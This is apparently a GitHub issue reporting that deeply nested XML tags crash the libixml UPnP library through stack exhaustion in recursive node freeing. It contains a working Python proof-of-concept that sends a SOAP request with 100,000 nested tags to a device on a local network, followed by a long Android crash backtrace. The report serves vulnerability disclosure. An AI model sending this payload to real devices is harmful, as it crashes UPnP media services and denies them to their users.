New issue

Jump to bottom

Too many nested tags will lead to stack space exhaustion, resulting in signal 11 (SIGSEGV) #249

Open **xzjpgithub** opened this issue on Mar 11, 2021 · 15 comments

xzjpgithub commented on Mar 11, 2021 • edited by mrjimenez

hi, this poc caused a crash.
When parsing xml, if there if too many "" in it ,that causes a crash.

The problem is in the function Parser_parseDocument() , After parses all < a >, it can't find the closed node, and finally enters the errorhandler. When using ixmlDocument_free() , When releases gRootDoc, ixmlNode_free() will release the child node recursively, which will consume stack space. If the recursive depth is not limited, it will cause crash. POC and crash are below.

I suggest adding an interface that limits the depth of recursion.

the stack size of my device
$ulimit -s
8192

poc:

```
import socket

MS2 = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1">
      <InstanceID>0</InstanceID>
      <Channel>Master</Channel>
    </u:GetVolume>
  </s:Body>
  <Anomaly>""" + "<a>"*100000 + """</Anomaly>""" + """
</s:Envelope>"""


MS1 = """POST /upnp/service/RenderingControl/Control HTTP/1.1\r\nHOST: 192.168.1.44:50000
Content-Length: """ + str(len(MS2)) + """
Content-type: text/xml; charset="utf-8"
SOAPACTION: "urn:schemas-upnp-org:service:RenderingControl:1#GetVolume"
USER-AGENT: Linux/4.14.150_s5, UPnP/1.0, Portable SDK for UPnP devices/1.12.0
CONNECTION: close

"""

address = ("192.168.1.4", 49153)
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.connect(address)

skt.send(MS1.encode() + MS2.encode())
d = skt.recv(999)
print(d.decode())
```

android crash
tombstone:

```
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'xxx/xxx-111/xxx-111:10/xxx-111/2.0.1.73cust format error.:user/release-keys'
Revision: '0'
ABI: 'arm'
Timestamp: 2021-01-07 07:35:02+0800
pid: 16370, tid: 16813, name: Thread-4  >>> com.xxx.dlna.dmr <<<
uid: 1000
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xbd380ff8
    r0  b3627778  r1  8721bf1f  r2  eca72108  r3  0000001a
    r4  b3627740  r5  0000000c  r6  00000000  r7  0000003c
    r8  dbf2344c  r9  dbf23440  r10 0000006a  r11 dbf23444
    ip  c065e134  sp  bd381000  lr  c0658731  pc  c0658720

backtrace:
      00 pc 00003720  /system/lib/libixml.so (ixmlNode_free+6) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      01 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      02 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      03 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      04 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      05 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      06 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      07 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      08 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      09 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      10 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      11 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      12 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      13 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      14 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      15 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      16 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      17 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      18 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      19 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      20 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      21 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      22 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      23 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      24 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      25 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      26 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
      27 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
```

```
28 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
29 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
30 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
31 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
32 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
33 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
34 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
35 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
36 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
37 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
38 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
39 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
40 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
41 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
42 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
43 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
44 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
45 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
46 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
47 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
48 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
49 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
50 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
51 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
52 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
53 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
54 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
55 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
56 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
57 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
58 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
59 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
60 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
61 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
62 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
63 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
64 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
65 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
66 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
67 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
68 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
69 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
70 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
71 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
72 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
73 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
74 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
75 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
76 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
77 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
78 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
79 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
80 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
81 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
82 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
83 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
84 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
85 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
86 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
87 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
88 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
89 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
90 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
91 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
92 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
93 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
94 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
95 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
96 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
97 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
98 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
99 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
100 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
101 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
102 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
103 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
104 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
105 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
106 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
107 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
108 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
109 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
110 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
111 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
112 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
113 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
114 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
115 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
116 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
117 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
118 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
119 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
120 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
121 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
122 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
123 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
124 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
125 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
126 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
127 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
128 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
129 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
130 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
131 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
132 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
133 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
134 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
135 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
136 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
137 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
138 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
139 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
140 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
```

```
141 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
142 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
143 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
144 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
145 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
146 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
147 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
148 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
149 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
150 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
151 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
152 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
153 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
154 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
155 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
156 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
157 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
158 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
159 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
160 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
161 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
162 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
163 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
164 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
165 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
166 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
167 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
168 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
169 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
170 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
171 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
172 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
173 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
174 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
175 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
176 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
177 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
178 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
179 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
180 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
181 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
182 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
183 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
184 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
185 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
186 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
187 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
188 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
189 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
190 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
191 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
192 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
193 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
194 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
195 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
196 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
197 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
198 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
199 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
200 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
201 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
202 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
203 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
204 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
205 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
206 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
207 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
208 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
209 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
210 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
211 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
212 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
213 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
214 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
215 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
216 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
217 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
218 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
219 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
220 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
